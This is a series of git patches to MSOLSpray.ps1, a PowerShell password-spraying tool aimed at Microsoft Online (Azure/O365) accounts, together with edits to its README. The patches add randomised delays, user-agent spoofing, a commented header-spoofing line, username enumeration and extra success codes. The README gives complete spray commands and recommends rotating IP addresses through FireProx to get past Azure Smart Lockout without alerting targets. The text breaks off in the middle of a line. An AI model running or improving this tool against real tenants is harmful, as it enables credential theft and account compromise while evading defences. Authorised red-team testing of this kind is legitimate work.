From a92a7c1e710111c8375a5d2182be123f82b5bd2f Mon Sep 17 00:00:00 2001 From: ceramicskate0 <64501203+ceramic-skate0@users.noreply.github.com> Date: Tue, 7 Feb 2023 10:22:28 -0500 Subject: [PATCH 01/24] Update MSOLSpray.ps1 Signed-off-by: ceramicskate0 <64501203+ceramic-skate0@users.noreply.github.com> --- MSOLSpray.ps1 | 54 +++++++++++++++++++++++++++++++++++++++++++-------- 1 file changed, 46 insertions(+), 8 deletions(-) diff --git a/MSOLSpray.ps1 b/MSOLSpray.ps1 index 235efb6..1a8dfd5 100644 --- a/MSOLSpray.ps1 +++ b/MSOLSpray.ps1 @@ -6,6 +6,7 @@ function Invoke-MSOLSpray{ This module will perform password spraying against Microsoft Online accounts (Azure/O365). The script logs if a user cred is valid, if MFA is enabled on the account, if a tenant doesn't exist, if a user doesn't exist, if the account is locked, or if the account is disabled. MSOLSpray Function: Invoke-MSOLSpray Author: Beau Bullock (@dafthack) + Mod'r:Ceramicskate0 License: BSD 3-Clause Required Dependencies: None Optional Dependencies: None @@ -22,6 +23,10 @@ function Invoke-MSOLSpray{ A single password that will be used to perform the password spray. + .PARAMETER Delay + A number in seconds to delay between requests. + + .PARAMETER OutFile A file to output valid results to. @@ -62,17 +67,40 @@ function Invoke-MSOLSpray{ [Parameter(Position = 2, Mandatory = $False)] [string] $Password = "", - + + [Parameter(Position = 2, Mandatory = $False)] + [Int] + $Delay = 5, + + [Parameter(Position = 2, Mandatory = $False)] + [Int] + $UserAgent = $(Get-InvokeMSOLUserAgent), + # Change the URL if you are using something like FireProx [Parameter(Position = 3, Mandatory = $False)] [string] - $URL = "https://login.microsoft.com", + $URL = "https://login.microsoft.com ", [Parameter(Position = 4, Mandatory = $False)] [switch] $Force ) - + + Function Get-InvokeMSOLUserAgent { + <# + .LINK + https://github.com/justin-p/PowerShell/blob/master/Get-UserAgent.ps1 + #> + Param ( + [ValidateSet('Firefox', 'Chrome', 'InternetExplorer', 'Opera', 'Safari')] + [string]$BrowserType + ) + if (!$BrowserType) { + $BrowserType = Get-Random -InputObject @('Firefox', 'Chrome', 'InternetExplorer', 'Opera', 'Safari') + } + Return [string]$([Microsoft.PowerShell.Commands.PSUserAgent]::$BrowserType) +} + $ErrorActionPreference= 'silentlycontinue' $Usernames = Get-Content $UserList $count = $Usernames.count @@ -95,8 +123,12 @@ function Invoke-MSOLSpray{ # Setting up the web request $BodyParams = @{'resource' = 'https://graph.windows.net'; 'client_id' = '1b730954-1685-4b74-9bfd-dac224a7b894' ; 'client_info' = '1' ; 'grant_type' = 'password' ; 'username' = $username ; 'password' = $password ; 'scope' = 'openid'} - $PostHeaders = @{'Accept' = 'application/json'; 'Content-Type' = 'application/x-www-form-urlencoded'} - $webrequest = Invoke-WebRequest $URL/common/oauth2/token -Method Post -Headers $PostHeaders -Body $BodyParams -ErrorVariable RespErr + #Add Special Headers for Firprox Here. ';' is seperation char. Example: 'X-My-X-HEADER' = 'VALUE' + $PostHeaders = @{'Accept' = 'application/json'; 'Content-Type' = 'application/x-www-form-urlencoded';'X-My-X-Forwarded-For' = '127.0.0.1'} + if ($Delay) { + Start-Sleep -Seconds $Delay + } + $webrequest = Invoke-WebRequest $URL/common/oauth2/token -Method Post -Headers $PostHeaders -Body $BodyParams -ErrorVariable RespErr # If we get a 200 response code it's a valid cred If ($webrequest.StatusCode -eq "200"){ @@ -112,7 +144,9 @@ function Invoke-MSOLSpray{ # Standard invalid password If($RespErr -match "AADSTS50126") { - continue + Write-Output "[*] WARNING! Valid user, but invalid password $username : $password." + $fullresults += "Valid user, but invalid password : $username" + #continue } # Invalid Tenant Response @@ -124,7 +158,7 @@ function Invoke-MSOLSpray{ # Invalid Username ElseIf($RespErr -match "AADSTS50034") { - Write-Output "[*] WARNING! The user $username doesn't exist." + #Write-Output "[*] WARNING! The user $username doesn't exist." } # Microsoft MFA response @@ -160,7 +194,11 @@ function Invoke-MSOLSpray{ Write-Host -ForegroundColor "green" "[*] SUCCESS! $username : $password - NOTE: The user's password is expired." $fullresults += "$username : $password" } - + ElseIf(($RespErr -match "AADSTS53003")-or ($RespErr -match "AADSTS53000")) + { + Write-Host -ForegroundColor "green" "[*] SUCCESS! $username : $password - NOTE: The response indicates a conditional access policy is in place and the policy blocks token issuance." + $fullresults += "$username : $password" + } # Unknown errors Else { From 8200c5dfdb22e57a7ad35c5fce45d98b79d75567 Mon Sep 17 00:00:00 2001 From: ceramicskate0 <64501203+ceramic-skate0@users.noreply.github.com> Date: Tue, 7 Feb 2023 10:23:36 -0500 Subject: [PATCH 02/24] Update README.md Signed-off-by: ceramicskate0 <64501203+ceramic-skate0@users.noreply.github.com> --- README.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/README.md b/README.md index aa7be2f..091b21f 100644 --- a/README.md +++ b/README.md @@ -30,3 +30,6 @@ OutFile - A file to output valid results to. Force - Forces the spray to continue and not stop when multiple account lockouts are detected. URL - The URL to spray against. Potentially useful if pointing at an API Gateway URL generated with something like FireProx to randomize the IP address you are authenticating from. ``` + +### Shout out to contributor +- github.com/ceramicskate0/ From 8e5bf238a5e0a117239708f7f8c4d282ee8cba5d Mon Sep 17 00:00:00 2001 From: ceramicskate0 <64501203+ceramic-skate0@users.noreply.github.com> Date: Tue, 7 Feb 2023 10:23:59 -0500 Subject: [PATCH 03/24] Update README.md Signed-off-by: ceramicskate0 <64501203+ceramic-skate0@users.noreply.github.com> --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 091b21f..a1e5fb6 100644 --- a/README.md +++ b/README.md @@ -32,4 +32,4 @@ URL - The URL to spray against. Potentially useful if pointing at an API G ``` ### Shout out to contributor -- github.com/ceramicskate0/ +- https://github.com/ceramicskate0/ From 7398ecb3dd677eea748521f27ae2eb0c11190831 Mon Sep 17 00:00:00 2001 From: ceramicskate0 <64501203+ceramic-skate0@users.noreply.github.com> Date: Tue, 7 Feb 2023 10:28:10 -0500 Subject: [PATCH 04/24] Update README.md Signed-off-by: ceramicskate0 <64501203+ceramic-skate0@users.noreply.github.com> --- README.md | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index a1e5fb6..197c79f 100644 --- a/README.md +++ b/README.md @@ -20,6 +20,9 @@ You will need a userlist file with target email addresses one per line. Open a P ```PowerShell Import-Module MSOLSpray.ps1 Invoke-MSOLSpray -UserList .\userlist.txt -Password Winter2020 +Invoke-MSOLSpray -UserList .\userlist.txt -Password Winter2020 -Delay 10 +Invoke-MSOLSpray -UserList .\userlist.txt -Password Winter2020 -Delay 10 -URL https://api-gateway-endpoint-id.execute-api.us-east-1.amazonaws.com/fireprox/ +Invoke-MSOLSpray -UserList .\userlist.txt -Password Winter2020 -Delay 10 -URL https://api-gateway-endpoint-id.execute-api.us-east-1.amazonaws.com/fireprox/ -UserAgent SpecialString -OutFile valid-users.txt ``` ### Invoke-MSOLSpray Options @@ -31,5 +34,8 @@ Force - Forces the spray to continue and not stop when multiple account lock URL - The URL to spray against. Potentially useful if pointing at an API Gateway URL generated with something like FireProx to randomize the IP address you are authenticating from. ``` -### Shout out to contributor +### Shout out to contributors - https://github.com/ceramicskate0/ +- https://github.com/rvrsh3ll +- https://github.com/davidnibbe +- https://github.com/justin-p From 705955a8e5da1ae50b3214db13294ab4b8d1812b Mon Sep 17 00:00:00 2001 From: ceramicskate0 <64501203+ceramic-skate0@users.noreply.github.com> Date: Tue, 7 Feb 2023 10:30:18 -0500 Subject: [PATCH 05/24] Update README.md Signed-off-by: ceramicskate0 <64501203+ceramic-skate0@users.noreply.github.com> --- README.md | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index 197c79f..17079ce 100644 --- a/README.md +++ b/README.md @@ -8,7 +8,7 @@ Yes, I realize there are other password spraying tools for O365/Azure. The main So this doubles, as not only a password spraying tool but also a Microsoft Online recon tool that will provide account/domain enumeration. In limited testing it appears that on valid login to the Microsoft Online OAuth2 endpoint it isn't auto-triggering MFA texts/push notifications making this really useful for finding valid creds without alerting the target. -Lastly, this tool works well with [FireProx](https://github.com/ustayready/fireprox) to rotate source IP addresses on authentication requests. In testing this appeared to avoid getting blocked by Azure Smart Lockout. +Lastly, this tool works well with [FireProx](https://github.com/ustayready/fireprox) to rotate source IP addresses on authentication requests. In testing this appeared to avoid getting blocked by Azure Smart Lockout. HEY! Go into script and add fireprox headers to spoof. **Brought to you by:** @@ -32,6 +32,8 @@ Password - A single password that will be used to perform the password spray. OutFile - A file to output valid results to. Force - Forces the spray to continue and not stop when multiple account lockouts are detected. URL - The URL to spray against. Potentially useful if pointing at an API Gateway URL generated with something like FireProx to randomize the IP address you are authenticating from. +Delay - Number of seconds to wait between requests. (int) +UserAgent - Spoof User Agent string. ``` ### Shout out to contributors From 53cd304f2845c0fa354eaa084c3958104d85fafd Mon Sep 17 00:00:00 2001 From: ceramicskate0 <64501203+ceramic-skate0@users.noreply.github.com> Date: Tue, 7 Feb 2023 10:36:02 -0500 Subject: [PATCH 06/24] Update MSOLSpray.ps1 Signed-off-by: ceramicskate0 <64501203+ceramic-skate0@users.noreply.github.com> --- MSOLSpray.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/MSOLSpray.ps1 b/MSOLSpray.ps1 index 1a8dfd5..c4af75a 100644 --- a/MSOLSpray.ps1 +++ b/MSOLSpray.ps1 @@ -128,7 +128,7 @@ function Invoke-MSOLSpray{ if ($Delay) { Start-Sleep -Seconds $Delay } - $webrequest = Invoke-WebRequest $URL/common/oauth2/token -Method Post -Headers $PostHeaders -Body $BodyParams -ErrorVariable RespErr + $webrequest = Invoke-WebRequest $URL/common/oauth2/token -Method Post -Headers $PostHeaders -Body $BodyParams -UserAgent $UserAgent -ErrorVariable RespErr # If we get a 200 response code it's a valid cred If ($webrequest.StatusCode -eq "200"){ From 83a33f894308feb9bb4509f9f7c361d73681a7c7 Mon Sep 17 00:00:00 2001 From: ceramicskate0 <64501203+ceramic-skate0@users.noreply.github.com> Date: Tue, 7 Feb 2023 10:45:27 -0500 Subject: [PATCH 07/24] Update README.md Signed-off-by: ceramicskate0 <64501203+ceramic-skate0@users.noreply.github.com> --- README.md | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/README.md b/README.md index 17079ce..ca39027 100644 --- a/README.md +++ b/README.md @@ -3,6 +3,10 @@ A password spraying tool for Microsoft Online accounts (Azure/O365). The script BE VERY CAREFUL NOT TO LOCKOUT ACCOUNTS! +# TODO: + +- Pass in Special Header thru CMDLine so you dont have to change in script. + ## Why another spraying tool? Yes, I realize there are other password spraying tools for O365/Azure. The main difference with this one is that this tool not only is looking for valid passwords, but also the extremely verbose information Azure AD error codes give you. These error codes provide information relating to if MFA is enabled on the account, if a tenant doesn't exist, if a user doesn't exist, if the account is locked, if the account is disabled, if the password is expired and much more. From d02ac890b3eb494a5ab28a90fd8c9a2b67000652 Mon Sep 17 00:00:00 2001 From: ceramicskate0 <64501203+ceramic-skate0@users.noreply.github.com> Date: Tue, 7 Feb 2023 11:00:50 -0500 Subject: [PATCH 08/24] Update MSOLSpray.ps1 Signed-off-by: ceramicskate0 <64501203+ceramic-skate0@users.noreply.github.com> --- MSOLSpray.ps1 | 19 ++----------------- 1 file changed, 2 insertions(+), 17 deletions(-) diff --git a/MSOLSpray.ps1 b/MSOLSpray.ps1 index c4af75a..b70bf58 100644 --- a/MSOLSpray.ps1 +++ b/MSOLSpray.ps1 @@ -72,9 +72,9 @@ function Invoke-MSOLSpray{ [Int] $Delay = 5, - [Parameter(Position = 2, Mandatory = $False)] + [Parameter(Position = 2, Mandatory = $False)] [Int] - $UserAgent = $(Get-InvokeMSOLUserAgent), + $UserAgent = "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36 Edge/12.0", # Change the URL if you are using something like FireProx [Parameter(Position = 3, Mandatory = $False)] @@ -85,21 +85,6 @@ function Invoke-MSOLSpray{ [switch] $Force ) - - Function Get-InvokeMSOLUserAgent { - <# - .LINK - https://github.com/justin-p/PowerShell/blob/master/Get-UserAgent.ps1 - #> - Param ( - [ValidateSet('Firefox', 'Chrome', 'InternetExplorer', 'Opera', 'Safari')] - [string]$BrowserType - ) - if (!$BrowserType) { - $BrowserType = Get-Random -InputObject @('Firefox', 'Chrome', 'InternetExplorer', 'Opera', 'Safari') - } - Return [string]$([Microsoft.PowerShell.Commands.PSUserAgent]::$BrowserType) -} $ErrorActionPreference= 'silentlycontinue' $Usernames = Get-Content $UserList From a1631643dfada5acc0f2c5ac42d0661a68ca2069 Mon Sep 17 00:00:00 2001 From: ceramicskate0 <64501203+ceramic-skate0@users.noreply.github.com> Date: Tue, 7 Feb 2023 11:55:40 -0500 Subject: [PATCH 09/24] Update MSOLSpray.ps1 Signed-off-by: ceramicskate0 <64501203+ceramic-skate0@users.noreply.github.com> --- MSOLSpray.ps1 | 10 ++++------ 1 file changed, 4 insertions(+), 6 deletions(-) diff --git a/MSOLSpray.ps1 b/MSOLSpray.ps1 index b70bf58..40d82c7 100644 --- a/MSOLSpray.ps1 +++ b/MSOLSpray.ps1 @@ -54,8 +54,6 @@ function Invoke-MSOLSpray{ This command uses the specified FireProx URL to spray from randomized IP addresses and writes the output to a file. See this for FireProx setup: https://github.com/ustayready/fireprox. #> Param( - - [Parameter(Position = 0, Mandatory = $False)] [string] $OutFile = "", @@ -68,20 +66,20 @@ function Invoke-MSOLSpray{ [string] $Password = "", - [Parameter(Position = 2, Mandatory = $False)] + [Parameter(Position = 3, Mandatory = $False)] [Int] $Delay = 5, - [Parameter(Position = 2, Mandatory = $False)] + [Parameter(Position = 4 Mandatory = $False)] [Int] $UserAgent = "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36 Edge/12.0", # Change the URL if you are using something like FireProx - [Parameter(Position = 3, Mandatory = $False)] + [Parameter(Position = 5, Mandatory = $False)] [string] $URL = "https://login.microsoft.com ", - [Parameter(Position = 4, Mandatory = $False)] + [Parameter(Position = 6, Mandatory = $False)] [switch] $Force ) From fe377ca7d9bd0d5557362713334133ba20293136 Mon Sep 17 00:00:00 2001 From: ceramicskate0 <64501203+ceramic-skate0@users.noreply.github.com> Date: Tue, 7 Feb 2023 11:57:04 -0500 Subject: [PATCH 10/24] Update README.md Signed-off-by: ceramicskate0 <64501203+ceramic-skate0@users.noreply.github.com> --- README.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index ca39027..81bcfa4 100644 --- a/README.md +++ b/README.md @@ -25,8 +25,8 @@ You will need a userlist file with target email addresses one per line. Open a P Import-Module MSOLSpray.ps1 Invoke-MSOLSpray -UserList .\userlist.txt -Password Winter2020 Invoke-MSOLSpray -UserList .\userlist.txt -Password Winter2020 -Delay 10 -Invoke-MSOLSpray -UserList .\userlist.txt -Password Winter2020 -Delay 10 -URL https://api-gateway-endpoint-id.execute-api.us-east-1.amazonaws.com/fireprox/ -Invoke-MSOLSpray -UserList .\userlist.txt -Password Winter2020 -Delay 10 -URL https://api-gateway-endpoint-id.execute-api.us-east-1.amazonaws.com/fireprox/ -UserAgent SpecialString -OutFile valid-users.txt +Invoke-MSOLSpray -UserList .\userlist.txt -Password Winter2020 -Delay 10 -UserAgent UA -URL https://api-gateway-endpoint-id.execute-api.us-east-1.amazonaws.com/fireprox/ +Invoke-MSOLSpray -UserList .\userlist.txt -Password Winter2020 -Delay 10 UserAgent UA -URL https://api-gateway-endpoint-id.execute-api.us-east-1.amazonaws.com/fireprox/ -UserAgent SpecialString -OutFile valid-users.txt ``` ### Invoke-MSOLSpray Options From e280857378655911aee31373a6201164b751423e Mon Sep 17 00:00:00 2001 From: ceramicskate0 <64501203+ceramic-skate0@users.noreply.github.com> Date: Tue, 7 Feb 2023 12:26:42 -0500 Subject: [PATCH 11/24] Update MSOLSpray.ps1 Signed-off-by: ceramicskate0 <64501203+ceramic-skate0@users.noreply.github.com> --- MSOLSpray.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/MSOLSpray.ps1 b/MSOLSpray.ps1 index 40d82c7..1a14d01 100644 --- a/MSOLSpray.ps1 +++ b/MSOLSpray.ps1 @@ -70,7 +70,7 @@ function Invoke-MSOLSpray{ [Int] $Delay = 5, - [Parameter(Position = 4 Mandatory = $False)] + [Parameter(Position = 4, Mandatory = $False)] [Int] $UserAgent = "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36 Edge/12.0", From 902d537fd7638c2f9a045e9a3e13eebf2ac891c8 Mon Sep 17 00:00:00 2001 From: ceramicskate0 <64501203+ceramic-skate0@users.noreply.github.com> Date: Tue, 7 Feb 2023 12:28:16 -0500 Subject: [PATCH 12/24] Update README.md Signed-off-by: ceramicskate0 <64501203+ceramic-skate0@users.noreply.github.com> --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 81bcfa4..d2ff2cf 100644 --- a/README.md +++ b/README.md @@ -26,7 +26,7 @@ Import-Module MSOLSpray.ps1 Invoke-MSOLSpray -UserList .\userlist.txt -Password Winter2020 Invoke-MSOLSpray -UserList .\userlist.txt -Password Winter2020 -Delay 10 Invoke-MSOLSpray -UserList .\userlist.txt -Password Winter2020 -Delay 10 -UserAgent UA -URL https://api-gateway-endpoint-id.execute-api.us-east-1.amazonaws.com/fireprox/ -Invoke-MSOLSpray -UserList .\userlist.txt -Password Winter2020 -Delay 10 UserAgent UA -URL https://api-gateway-endpoint-id.execute-api.us-east-1.amazonaws.com/fireprox/ -UserAgent SpecialString -OutFile valid-users.txt +Invoke-MSOLSpray -UserList .\userlist.txt -Password Winter2020 -Delay 10 -UserAgent UA -URL https://api-gateway-endpoint-id.execute-api.us-east-1.amazonaws.com/fireprox/ -UserAgent SpecialString -OutFile valid-users.txt ``` ### Invoke-MSOLSpray Options From 456fe866bfe1f2c76f8cf55b860e158ef90c64e6 Mon Sep 17 00:00:00 2001 From: ceramicskate0 <64501203+ceramic-skate0@users.noreply.github.com> Date: Tue, 7 Feb 2023 12:29:07 -0500 Subject: [PATCH 13/24] Update MSOLSpray.ps1 Signed-off-by: ceramicskate0 <64501203+ceramic-skate0@users.noreply.github.com> --- MSOLSpray.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/MSOLSpray.ps1 b/MSOLSpray.ps1 index 1a14d01..de6d4b9 100644 --- a/MSOLSpray.ps1 +++ b/MSOLSpray.ps1 @@ -107,7 +107,7 @@ function Invoke-MSOLSpray{ # Setting up the web request $BodyParams = @{'resource' = 'https://graph.windows.net'; 'client_id' = '1b730954-1685-4b74-9bfd-dac224a7b894' ; 'client_info' = '1' ; 'grant_type' = 'password' ; 'username' = $username ; 'password' = $password ; 'scope' = 'openid'} #Add Special Headers for Firprox Here. ';' is seperation char. Example: 'X-My-X-HEADER' = 'VALUE' - $PostHeaders = @{'Accept' = 'application/json'; 'Content-Type' = 'application/x-www-form-urlencoded';'X-My-X-Forwarded-For' = '127.0.0.1'} + $PostHeaders = @{'Accept' = 'application/json'; 'Content-Type' = 'application/x-www-form-urlencoded'}#;'X-My-X-Forwarded-For' = '127.0.0.1'} if ($Delay) { Start-Sleep -Seconds $Delay } From ae7b590da681ff26b9f2704b153248abf50d5d40 Mon Sep 17 00:00:00 2001 From: ceramicskate0 <64501203+ceramic-skate0@users.noreply.github.com> Date: Tue, 7 Feb 2023 13:13:37 -0500 Subject: [PATCH 14/24] Update MSOLSpray.ps1 Signed-off-by: ceramicskate0 <64501203+ceramic-skate0@users.noreply.github.com> --- MSOLSpray.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/MSOLSpray.ps1 b/MSOLSpray.ps1 index de6d4b9..5370307 100644 --- a/MSOLSpray.ps1 +++ b/MSOLSpray.ps1 @@ -71,7 +71,7 @@ function Invoke-MSOLSpray{ $Delay = 5, [Parameter(Position = 4, Mandatory = $False)] - [Int] + [string] $UserAgent = "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36 Edge/12.0", # Change the URL if you are using something like FireProx From 9043a09f994b2b24a74db6e0cf48b80edb70a999 Mon Sep 17 00:00:00 2001 From: ceramicskate0 <64501203+ceramic-skate0@users.noreply.github.com> Date: Tue, 7 Feb 2023 13:16:04 -0500 Subject: [PATCH 15/24] Update MSOLSpray.ps1 Signed-off-by: ceramicskate0 <64501203+ceramic-skate0@users.noreply.github.com> --- MSOLSpray.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/MSOLSpray.ps1 b/MSOLSpray.ps1 index 5370307..b84067e 100644 --- a/MSOLSpray.ps1 +++ b/MSOLSpray.ps1 @@ -127,7 +127,7 @@ function Invoke-MSOLSpray{ # Standard invalid password If($RespErr -match "AADSTS50126") { - Write-Output "[*] WARNING! Valid user, but invalid password $username : $password." + Write-Output "[*] WARNING! Valid user, but invalid password $username : $password" $fullresults += "Valid user, but invalid password : $username" #continue } From a17a1b8eb476c5cec7f6119d28f497ca6bc63c37 Mon Sep 17 00:00:00 2001 From: ceramicskate0 <64501203+ceramic-skate0@users.noreply.github.com> Date: Tue, 7 Feb 2023 13:20:07 -0500 Subject: [PATCH 16/24] Update MSOLSpray.ps1 Signed-off-by: ceramicskate0 <64501203+ceramic-skate0@users.noreply.github.com> --- MSOLSpray.ps1 | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/MSOLSpray.ps1 b/MSOLSpray.ps1 index b84067e..76b3dc0 100644 --- a/MSOLSpray.ps1 +++ b/MSOLSpray.ps1 @@ -141,7 +141,7 @@ function Invoke-MSOLSpray{ # Invalid Username ElseIf($RespErr -match "AADSTS50034") { - #Write-Output "[*] WARNING! The user $username doesn't exist." + Write-Output "[*] WARNING! The user $username doesn't exist." } # Microsoft MFA response @@ -185,7 +185,7 @@ function Invoke-MSOLSpray{ # Unknown errors Else { - Write-Output "[*] Got an error we haven't seen yet for user $username" + Write-Output "[*] Got an error we haven't seen yet for user $username = $RespErr" $RespErr } } From 5bb0141d91f2d59909365d8b9ad27a49cfb18cb8 Mon Sep 17 00:00:00 2001 From: ceramicskate0 <64501203+ceramic-skate0@users.noreply.github.com> Date: Tue, 7 Feb 2023 13:25:07 -0500 Subject: [PATCH 17/24] Update MSOLSpray.ps1 Signed-off-by: ceramicskate0 <64501203+ceramic-skate0@users.noreply.github.com> --- MSOLSpray.ps1 | 24 ++++++++++++------------ 1 file changed, 12 insertions(+), 12 deletions(-) diff --git a/MSOLSpray.ps1 b/MSOLSpray.ps1 index 76b3dc0..054d338 100644 --- a/MSOLSpray.ps1 +++ b/MSOLSpray.ps1 @@ -113,9 +113,9 @@ function Invoke-MSOLSpray{ } $webrequest = Invoke-WebRequest $URL/common/oauth2/token -Method Post -Headers $PostHeaders -Body $BodyParams -UserAgent $UserAgent -ErrorVariable RespErr - # If we get a 200 response code it's a valid cred + # If we get a 200 response code it's a valid cred If ($webrequest.StatusCode -eq "200"){ - Write-Host -ForegroundColor "green" "[*] SUCCESS! $username : $password" + Write-Host -ForegroundColor "green" "[+] $username : $password" $webrequest = "" $fullresults += "$username : $password" } @@ -127,7 +127,7 @@ function Invoke-MSOLSpray{ # Standard invalid password If($RespErr -match "AADSTS50126") { - Write-Output "[*] WARNING! Valid user, but invalid password $username : $password" + Write-Output "[*] Valid user, but invalid password $username : $password" $fullresults += "Valid user, but invalid password : $username" #continue } @@ -135,57 +135,57 @@ function Invoke-MSOLSpray{ # Invalid Tenant Response ElseIf (($RespErr -match "AADSTS50128") -or ($RespErr -match "AADSTS50059")) { - Write-Output "[*] WARNING! Tenant for account $username doesn't exist. Check the domain to make sure they are using Azure/O365 services." + Write-Output -ForegroundColor "yellow" "[-] Tenant for account $username doesn't exist. Check the domain to make sure they are using Azure/O365 services." } # Invalid Username ElseIf($RespErr -match "AADSTS50034") { - Write-Output "[*] WARNING! The user $username doesn't exist." + Write-Output -ForegroundColor "yellow" "[-] $username doesn't exist. Invalid Username." } # Microsoft MFA response ElseIf(($RespErr -match "AADSTS50079") -or ($RespErr -match "AADSTS50076")) { - Write-Host -ForegroundColor "green" "[*] SUCCESS! $username : $password - NOTE: The response indicates MFA (Microsoft) is in use." + Write-Host -ForegroundColor "green" "[+] $username : $password - NOTE: The response indicates MFA (Microsoft) is in use." $fullresults += "$username : $password" } # Conditional Access response (Based off of limited testing this seems to be the repsonse to DUO MFA) ElseIf($RespErr -match "AADSTS50158") { - Write-Host -ForegroundColor "green" "[*] SUCCESS! $username : $password - NOTE: The response indicates conditional access (MFA: DUO or other) is in use." + Write-Host -ForegroundColor "green" "[+] $username : $password - NOTE: The response indicates conditional access (MFA: DUO or other) is in use." $fullresults += "$username : $password" } # Locked out account or Smart Lockout in place ElseIf($RespErr -match "AADSTS50053") { - Write-Output "[*] WARNING! The account $username appears to be locked." + Write-Output -ForegroundColor "yellow" "[-] The account $username appears to be locked." $lockout_count++ } # Disabled account ElseIf($RespErr -match "AADSTS50057") { - Write-Output "[*] WARNING! The account $username appears to be disabled." + Write-Output -ForegroundColor "yellow" "[-] The account $username appears to be disabled." } # User password is expired ElseIf($RespErr -match "AADSTS50055") { - Write-Host -ForegroundColor "green" "[*] SUCCESS! $username : $password - NOTE: The user's password is expired." + Write-Host -ForegroundColor "green" "[+] $username : $password - NOTE: The user's password is expired." $fullresults += "$username : $password" } ElseIf(($RespErr -match "AADSTS53003")-or ($RespErr -match "AADSTS53000")) { - Write-Host -ForegroundColor "green" "[*] SUCCESS! $username : $password - NOTE: The response indicates a conditional access policy is in place and the policy blocks token issuance." + Write-Host -ForegroundColor "green" "[+] $username : $password - NOTE: The response indicates a conditional access policy is in place and the policy blocks token issuance." $fullresults += "$username : $password" } # Unknown errors Else { - Write-Output "[*] Got an error we haven't seen yet for user $username = $RespErr" + Write-Output -ForegroundColor "red" "[!] Got an error we haven't seen yet for user $username = $RespErr" $RespErr } } From 275c9c4b1c77c95ad75743e4b302a53cfb5df627 Mon Sep 17 00:00:00 2001 From: ceramicskate0 <64501203+ceramic-skate0@users.noreply.github.com> Date: Tue, 7 Feb 2023 13:34:58 -0500 Subject: [PATCH 18/24] Update MSOLSpray.ps1 Signed-off-by: ceramicskate0 <64501203+ceramic-skate0@users.noreply.github.com> --- MSOLSpray.ps1 | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/MSOLSpray.ps1 b/MSOLSpray.ps1 index 054d338..7cce6ec 100644 --- a/MSOLSpray.ps1 +++ b/MSOLSpray.ps1 @@ -109,8 +109,10 @@ function Invoke-MSOLSpray{ #Add Special Headers for Firprox Here. ';' is seperation char. Example: 'X-My-X-HEADER' = 'VALUE' $PostHeaders = @{'Accept' = 'application/json'; 'Content-Type' = 'application/x-www-form-urlencoded'}#;'X-My-X-Forwarded-For' = '127.0.0.1'} if ($Delay) { - Start-Sleep -Seconds $Delay + $SleepTime = Get-Random -Minimum 0 -Maximum $Delay + Start-Sleep -Seconds $SleepTime } + $webrequest = Invoke-WebRequest $URL/common/oauth2/token -Method Post -Headers $PostHeaders -Body $BodyParams -UserAgent $UserAgent -ErrorVariable RespErr # If we get a 200 response code it's a valid cred From dd8563a09f687acd68fac1d4225da9dfc8e1d354 Mon Sep 17 00:00:00 2001 From: ceramicskate0 <64501203+ceramic-skate0@users.noreply.github.com> Date: Tue, 7 Feb 2023 13:58:17 -0500 Subject: [PATCH 19/24] Update MSOLSpray.ps1 Signed-off-by: ceramicskate0 <64501203+ceramic-skate0@users.noreply.github.com> --- MSOLSpray.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/MSOLSpray.ps1 b/MSOLSpray.ps1 index 7cce6ec..d76f582 100644 --- a/MSOLSpray.ps1 +++ b/MSOLSpray.ps1 @@ -77,7 +77,7 @@ function Invoke-MSOLSpray{ # Change the URL if you are using something like FireProx [Parameter(Position = 5, Mandatory = $False)] [string] - $URL = "https://login.microsoft.com ", + $URL = "https://login.microsoft.com", [Parameter(Position = 6, Mandatory = $False)] [switch] From 9ac578c5c3b74cc8a2056560e1f80d27c13cd25a Mon Sep 17 00:00:00 2001 From: ceramicskate0 <64501203+ceramic-skate0@users.noreply.github.com> Date: Tue, 7 Feb 2023 13:59:44 -0500 Subject: [PATCH 20/24] Update README.md Signed-off-by: ceramicskate0 <64501203+ceramic-skate0@users.noreply.github.com> --- README.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index d2ff2cf..5c3488f 100644 --- a/README.md +++ b/README.md @@ -25,8 +25,8 @@ You will need a userlist file with target email addresses one per line. Open a P Import-Module MSOLSpray.ps1 Invoke-MSOLSpray -UserList .\userlist.txt -Password Winter2020 Invoke-MSOLSpray -UserList .\userlist.txt -Password Winter2020 -Delay 10 -Invoke-MSOLSpray -UserList .\userlist.txt -Password Winter2020 -Delay 10 -UserAgent UA -URL https://api-gateway-endpoint-id.execute-api.us-east-1.amazonaws.com/fireprox/ -Invoke-MSOLSpray -UserList .\userlist.txt -Password Winter2020 -Delay 10 -UserAgent UA -URL https://api-gateway-endpoint-id.execute-api.us-east-1.amazonaws.com/fireprox/ -UserAgent SpecialString -OutFile valid-users.txt +Invoke-MSOLSpray -UserList .\userlist.txt -Password Winter2020 -Delay 10 -UserAgent UA -URL https://api-gateway-endpoint-id.execute-api.us-east-1.amazonaws.com/fireprox 